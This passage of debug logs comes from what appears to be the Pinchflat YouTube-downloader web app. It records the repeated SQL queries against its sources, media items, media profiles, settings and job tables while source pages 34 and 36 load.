s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.381 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.384 [debug] QUERY OK source="media_items" db=2.0ms idle=9.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 04:53:44.387 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=10.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.389 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.390 [debug] QUERY OK source="media_items" db=0.4ms idle=13.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 04:53:44.391 [info] GET /sources/34/ 04:53:44.391 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 04:53:44.392 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=9.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.393 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.394 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.395 [debug] QUERY OK source="sources" db=0.4ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.395 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=4.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 04:53:44.396 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=2.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 04:53:44.397 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.398 [debug] QUERY OK source="media_items" db=2.3ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 04:53:44.398 [debug] QUERY OK source="settings" db=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.400 [debug] QUERY OK source="settings" db=1.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.402 [debug] QUERY OK source="media_items" db=3.6ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.405 [debug] QUERY OK source="sources" db=0.6ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.407 [info] Sent 200 in 39ms 04:53:44.408 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 04:53:44.411 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=10.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.413 [debug] QUERY OK source="sources" db=0.6ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.414 [debug] QUERY OK source="media_items" db=0.4ms idle=11.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 04:53:44.415 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=9.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.418 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.420 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 04:53:44.425 [debug] QUERY OK source="media_items" db=3.7ms queue=0.1ms idle=7.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.429 [info] Sent 200 in 38ms 04:53:44.455 [info] GET /sources/34/edit 04:53:44.456 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 04:53:44.457 [debug] QUERY OK source="sources" db=0.5ms idle=42.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.458 [debug] QUERY OK source="media_profiles" db=0.4ms idle=42.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:44.459 [debug] QUERY OK source="settings" db=0.3ms idle=40.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.460 [debug] QUERY OK source="settings" db=0.4ms idle=38.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.461 [debug] QUERY OK source="settings" db=0.2ms idle=36.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.469 [info] Sent 200 in 14ms 04:53:44.515 [info] GET /sources/36 04:53:44.515 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 04:53:44.516 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=58.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.517 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=58.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.518 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=58.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [36, "executing", "available", "scheduled", "retryable"] 04:53:44.519 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=58.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7275] 04:53:44.520 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=58.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.521 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.522 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.526 [debug] QUERY OK source="sources" db=0.4ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 04:53:44.528 [debug] QUERY OK source="media_items" db=1.0ms idle=7.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 04:53:44.530 [debug] QUERY OK source="media_items" db=1.5ms idle=8.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [36, 10, 0] 04:53:44.532 [debug] QUERY OK source="sources" db=0.3ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 